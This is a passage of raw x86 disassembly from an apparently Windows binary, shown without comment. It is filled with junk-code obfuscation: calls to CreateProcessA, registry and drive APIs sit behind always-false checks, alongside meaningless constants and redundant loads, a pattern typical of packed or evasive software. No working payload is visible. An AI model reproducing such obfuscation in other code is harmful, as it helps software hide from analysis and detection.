mov dword [ebp - 0x24], eax
jmp 0x1002e16d
mov dword [ebp - 0x28], 0x41536c74
mov dword [ebp - 0xc38], eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e16a
push eax
push eax
call esi
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff1
je 0x1002e14e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e1ca
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x1002e1c8
push 7
pop eax
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002e19e
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002e1af
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
xor eax, eax
cmp ecx, 0x3330
setne al
sub eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], eax
xor eax, eax
push eax
push eax
call esi
inc dword [ebp - 0x14]
push 0
pop eax
cmp dword [ebp - 0x14], 8
jle 0x1002df71
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 9
push 0
pop eax
jne 0x1002db58
mov edi, 0x824a8c6a
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], eax
jmp 0x1002e20c
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xa8], 0x44c039ec
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1002e1fb
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x1002e226
cmp dword [ebp - 0xa8], eax
je 0x1002e228
mov eax, ebx
mov ecx, dword [ebp - 0x30]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setge dl
inc edx
cmp edx, dword [ebp - 0x30]
je 0x1002e2e7
mov dword [ebp - 0x24], 0x9dbc9b78
mov dword [ebp - 0x40], 0x7e91
mov dword [ebp - 0x44], 0x35b5b06a
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0xa8], eax
jne 0x1002e28e
cmp dword [ebp - 0x30], eax
jne 0x1002e277
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xa8], eax
je 0x1002e277
xor eax, eax
jmp 0x1002e279
mov eax, ebx
mov ecx, dword [ebp - 0xa8]
sub ecx, eax
mov eax, dword [ebp - 0x24]
sub ecx, eax
jne 0x1002e28e
xor eax, eax
mov ecx, eax
jmp 0x1002e290
mov ecx, ebx
mov eax, dword [ebp - 0xa8]
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
setge dl
add ecx, edx
xor edx, edx
cmp ecx, eax
push 5
setl dl
xor eax, eax
test edx, edx
sets al
xor ecx, ecx
cmp eax, 0xadbe
pop eax
setg cl
sub ecx, eax
imul eax, ecx, 0xffff
test eax, eax
jne 0x1002e2cf
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
add edx, 0x24d8
cmp edx, eax
setl cl
mov dword [ebp - 0x44], ecx
jmp 0x1002e330
mov dword [ebp - 0x30], 0xf
cmp dword [ebp - 0x30], 0x2d
jge 0x1002e330
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e30e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e327
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x2d
jl 0x1002e2f6
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x1002e358
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0xa8]
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xa8], ecx
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1002e33a
push 9
pop ecx
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0xffffffe6
jl 0x1002e5aa
or edi, 0xffffffff
jmp 0x1002e36f
xor eax, eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002e394
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3ec], 0x31713b91
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e37b
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002e3b6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xf14], 0xb0e1b1b5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e39d
xor eax, eax
mov dword [ebp - 0x3e4], 0xb
jmp 0x1002e44d
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], 0xb994b748
mov dword [ebp - 0x40], 0x2ca335c2
cmp dword [ebp - 0x38], eax
je 0x1002e422
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ebx, ebx
cmp edx, eax
setl bl
sub ebx, dword [ebp - 0x38]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
add ebx, dword [ebp - 0xf0c]
mov eax, dword [ebp - 0x3e4]
cmp ebx, 0x4dbf0cf
setle cl
xor ebx, ebx
imul eax, ecx
test eax, eax
je 0x1002e41f
inc ebx
mov ecx, ebx
jmp 0x1002e424
xor eax, eax
inc ebx
mov ecx, eax
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3e4]
push 0
setg dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x3e4]
pop eax
cmp dword [ebp - 0x3e4], 0xfffffff6
jle 0x1002e3c5
mov dword [ebp - 0x34], 0x66c93ee
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0x9d20578c
mov dword [ebp - 0x24], 0xd3e8ea47
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x28], 0x8d9a
mov dword [ebp - 0x28], 0x65392fb3
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x28], 0xfc6e20b3
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jge 0x1002e4c7
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, ebx
setge cl
cmp ecx, edi
ja 0x1002e4aa
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
dec eax
neg eax
sbb eax, eax
neg eax
add eax, 0x4d91f06e
je 0x1002e4c4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002e530
mov dword [ebp - 0x40], 0xffff
mov dword [ebp - 0x38], eax
jmp 0x1002e509
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xdb4], 0xfffffffe
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jl 0x1002e4f8
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0xdb4]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x40], ecx
jmp 0x1002e58e
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], 0x158e9d28
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1002e565
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x11f8], 0xa3d5
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1002e54c
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002e588
mov dword [ebp - 0x28], 0xcc70
mov dword [ebp - 0x28], 0xcf6d7078
mov dword [ebp - 0x28], 0xc46221eb
mov dword [ebp - 0x28], ebx
inc dword [ebp - 0x40]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x1002e56a
cmp dword [ebp - 0x34], eax
jne 0x1002e5a0
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe6
jge 0x1002e36d
push 9
mov edi, 0x824a8c6a
pop ecx
jmp 0x1002e5ac
xor eax, eax
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
jmp 0x1002e5e2
mov dword [ebp - 0x38], 0x1d69f428
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 8
jg 0x1002e5df
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e5d3
push eax
push eax
call esi
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 8
jle 0x1002e5c4
push 9
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jne 0x1002e5b4
mov dword [ebp - 0x14], ecx
jmp 0x1002e5fb
mov dword [ebp - 0x44], 0x66c93ee
cmp dword [ebp - 0x44], eax
jne 0x1002e601
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe6
jge 0x1002e5ec
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x14], eax
jmp 0x1002e637
mov dword [ebp - 0x38], 0x1d69f428
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 8
jg 0x1002e634
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002e628
push eax
push eax
call esi
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 8
jle 0x1002e619
push 9
pop ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jne 0x1002e609
mov dword [ebp - 0x14], ecx
jmp 0x1002e650
mov dword [ebp - 0x44], 0x66c93ee
cmp dword [ebp - 0x44], eax
jne 0x1002e656
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe6
jge 0x1002e641
push 0xfffffffffffffffd
pop edx
mov dword [ebp - 0x310], edx
mov esi, 0xb24ce554
mov dword [ebp - 0x30c], edx
mov dword [ebp - 0x308], edx
mov dword [ebp - 0x304], edx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002e699
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5b0], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002e681
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002e6b2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfac], 0x5a83d87
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e6a1
push 7
pop eax
mov dword [ebp - 0x310], eax
mov edi, 0x2415
push 5
pop eax
cmp dword [ebp - 0x310], eax
jl 0x1002e739
mov dword [ebp - 0xa88], edi
mov ecx, ebx
mov dword [ebp - 0xa84], edi
mov dword [ebp - 0xa80], edi
mov dword [ebp - 0xa7c], edi
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x310]
sub ecx, eax
mov dword [ebp - 0x5b0], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x308]
mov eax, dword [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0xa80], eax
mov eax, dword [ebp - 0x304]
test eax, eax
push 5
sets cl
mov dword [ebp - 0xfac], ecx
dec dword [ebp - 0x310]
pop eax
cmp dword [ebp - 0x310], eax
jge 0x1002e6d0
push 4
pop ecx
mov dword [ebp - 0x2f0], edx
xor eax, eax
mov dword [ebp - 0x2ec], edx
mov dword [ebp - 0x2e8], edx
mov dword [ebp - 0x2e4], edx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002e776
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x604], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002e75e
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002e78c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfcc], 0x5a83d87
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e77b
push 7
pop eax
push 5
pop edx
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], edx
jl 0x1002e80b
mov dword [ebp - 0xb28], edi
mov ecx, ebx
mov dword [ebp - 0xb24], edi
mov dword [ebp - 0xb20], edi
mov dword [ebp - 0xb1c], edi
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x2f0]
sub ecx, eax
mov dword [ebp - 0x604], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2e8]
mov eax, dword [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0xb20], eax
mov eax, dword [ebp - 0x2e4]
test eax, eax
sets cl
mov dword [ebp - 0xfcc], ecx
dec dword [ebp - 0x2f0]
cmp dword [ebp - 0x2f0], edx
jge 0x1002e7a5
push 4
pop ecx
mov dword [ebp - 0x40], ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0x5a74d4b4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002e83a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb8], 0x9c9fb37b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002e822
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002e85a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x748], 0x83989226
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002e842
xor eax, eax
cmp dword [ebp - 0xb8], eax
jne 0x1002e8ce
mov eax, dword [ebp - 0x740]
sub eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x7356a0b3
imul eax, dword [ebp - 0x73c]
test eax, eax
jne 0x1002e88c
mov eax, dword [ebp - 0x73c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x73c]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x73c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0xb8]
setg dl
sub edx, 0xb333
neg edx
sbb edx, edx
inc edx
sub edx, eax
jne 0x1002e8ce
xor eax, eax
jmp 0x1002e8d0
mov eax, ebx
xor edx, edx
cmp eax, 0x3f6a0837
mov eax, dword [ebp - 0x73c]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0xb8]
jle 0x1002e8fe
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002e8fe
mov dword [ebp - 0xb8], eax
jmp 0x1002e906
mov dword [ebp - 0xb8], ebx
mov eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002e91e
push eax
call ebx
xor eax, eax
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x300], ecx
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x40], esi
xor esi, esi
mov dword [ebp - 0x18], eax
inc esi
cmp dword [ebp - 0x18], esi
jge 0x1002e95f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5bc], 2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002e947
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop edx
jmp 0x1002e978
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfe4], 0x5a83d87
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002e967
push 7
pop eax
mov dword [ebp - 0x300], eax
jmp 0x1002e9e3
mov dword [ebp - 0xaa8], edi
mov ecx, esi
mov dword [ebp - 0xaa4], edi
mov dword [ebp - 0xaa0], edi
mov dword [ebp - 0xa9c], edi
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x300]
sub ecx, eax
mov dword [ebp - 0x5bc], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2f8]
mov eax, dword [ebp - 0x40]
xor eax, eax
mov dword [ebp - 0xaa0], eax
mov eax, dword [ebp - 0x2f4]
test eax, eax
sets cl
mov dword [ebp - 0xfe4], ecx
dec dword [ebp - 0x300]
push 5
pop eax
cmp dword [ebp - 0x300], eax
jge 0x1002e988
xor eax, eax
mov dword [ebp - 0x24], 0x6915a136
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 3
jge 0x1002ea19
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x9f4], 0x8ec0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jl 0x1002ea00
xor eax, eax
push 2
pop edi
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], eax
jl 0x1002ea8a
mov dword [ebp - 0x38], 0xcd53bc6e
mov dword [ebp - 0x44], 0xfada
mov dword [ebp - 0x40], 0xe75cb554
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], eax
jl 0x1002ea7c
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x40], esi
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], eax
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1002ea5a
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x9f4]
cmp dword [ebp - 0x9f0], edx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setge cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0x38]
jns 0x1002ea41
mov eax, dword [ebp - 0x9ec]
dec dword [ebp - 0x24]
push 0
pop eax
jns 0x1002ea24
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002eaac
push eax
push eax
push eax
push eax
push 0x26fd
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 4
xor eax, eax
pop edx
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0x5a74d4b4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002ead9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc0], 0x9c9fb37b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002eac1
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edx
jge 0x1002eaf9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6e8], 0x83989226
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002eae1
xor eax, eax
cmp dword [ebp - 0xc0], eax
jne 0x1002eb70
mov eax, dword [ebp - 0x6e0]
push 5
pop ecx
sub eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x7356a0b3
imul eax, dword [ebp - 0x6dc]
test eax, eax
jne 0x1002eb2e
mov eax, dword [ebp - 0x6dc]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x6dc]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x6dc]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0xc0]
setg dl
sub edx, 0xb333
neg edx
sbb edx, edx
inc edx
sub edx, eax
jne 0x1002eb70
xor eax, eax
jmp 0x1002eb72
mov eax, esi
xor edx, edx
cmp eax, 0x3f6a0837
mov eax, dword [ebp - 0x6dc]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0xc0]
jle 0x1002eba0
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002eba0
mov dword [ebp - 0xc0], eax
jmp 0x1002eba8
mov dword [ebp - 0xc0], esi
mov eax, esi
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002ebba
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x14], 0xa66fe7d8
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edi
jge 0x1002ebe0
push 6
pop ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x9a8], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x1002ebcc
xor eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x14], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
cmp dword [ebp - 0x14], eax
jl 0x1002ecd7
mov dword [ebp - 0x24], 0xfffffffd
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x9a8], 0
jne 0x1002ecd5
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jl 0x1002eccc
push 4
pop edx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edx
jge 0x1002ec44
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xba8], 0xfffffff8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x1002ec2c
xor eax, eax
mov dword [ebp - 0xb9c], ecx
cmp dword [ebp - 0xb9c], eax
jl 0x1002ecc3
mov dword [ebp - 0x38], 0xd2ab60e7
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9a8], 3
mov dword [ebp - 0x38], 0xffffffe2
cmp dword [ebp - 0x38], 0xffffffe5
jl 0x1002ecb6
xor eax, eax
mov dword [ebp - 0x1c], 0x84217059
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
jl 0x1002ec97
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ec92
call esi
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x1002ec85
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002ecaa
push eax
push eax
push eax
push eax
push eax
push eax
call edi
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe5
push 1
pop ecx
jge 0x1002ec76
dec dword [ebp - 0xb9c]
jns 0x1002ec52
push 4
xor eax, eax
pop edx
dec dword [ebp - 0x24]
jns 0x1002ec24
dec dword [ebp - 0x14]
jns 0x1002ebf8
xor eax, eax
xor ecx, ecx
inc ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0x5a74d4b4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x1002ed07
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc8], 0x9c9fb37b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002ecef
xor eax, eax
push 4
mov dword [ebp - 0x18], eax
pop edx
cmp dword [ebp - 0x18], edx
jge 0x1002ed2a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x788], 0x83989226
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1002ed12
xor eax, eax
cmp dword [ebp - 0xc8], eax
jne 0x1002eda4
mov eax, dword [ebp - 0x780]
push 5
pop ecx
sub eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 0x7356a0b3
imul eax, dword [ebp - 0x77c]
test eax, eax
jne 0x1002ed5f
mov eax, dword [ebp - 0x77c]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x77c]
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x77c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0xc8]
setg dl
sub edx, 0xb333
neg edx
sbb edx, edx
inc edx
sub edx, eax
jne 0x1002eda1
xor eax, eax
jmp 0x1002eda6
xor ecx, ecx
inc ecx
mov eax, ecx
xor edx, edx
cmp eax, 0x3f6a0837
mov eax, dword [ebp - 0x77c]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0xc8]
jle 0x1002edcc
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002edcf
xor eax, eax
inc eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002ede5
push eax
call ebx
push 5
pop eax
mov dword [ebp - 0x14], eax
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x14], 0xffff
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0x8dee
setg al
cmp eax, 0xffff
je 0x1002ef18
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002ee33
call esi
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0x38], 0x571177e8
mov dword [ebp - 0x28], 0xdbeccce1
push 4
mov dword [ebp - 0x38], eax
pop ecx
cmp dword [ebp - 0x38], ecx
jge 0x1002ee67
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1318], 0xad4351cd
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x1002ee4f
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xfffffff7
jl 0x1002ee82
push 7
pop ecx
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x40]
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff7
jge 0x1002ee73
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x320], ecx
xor edx, edx
mov dword [ebp - 0x31c], ecx
inc edx
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x18], 0xf4f46db5
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edx
jge 0x1002eec7
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x128], 0xfffffff8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x1002eeaf
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1002f006
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x128], 0
je 0x1002efde
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1002eef9
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1002eff8
push eax
push 0x1b8b
push eax
call dword [sym.imp.GDI32.dll_GetRegionData]
jmp 0x1002eff8
xor eax, eax
push 4
mov dword [ebp - 0x38], eax
pop ecx
cmp dword [ebp - 0x38], ecx
jge 0x1002ef3d
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x12f8], 0xfda7ef5d
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x1002ef25
xor eax, eax
push 3
pop ebx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002efd7
mov dword [ebp - 0x2c], 0xa969ac54
mov dword [ebp - 0x2c], eax
jmp 0x1002efc9
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x1002efc6
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
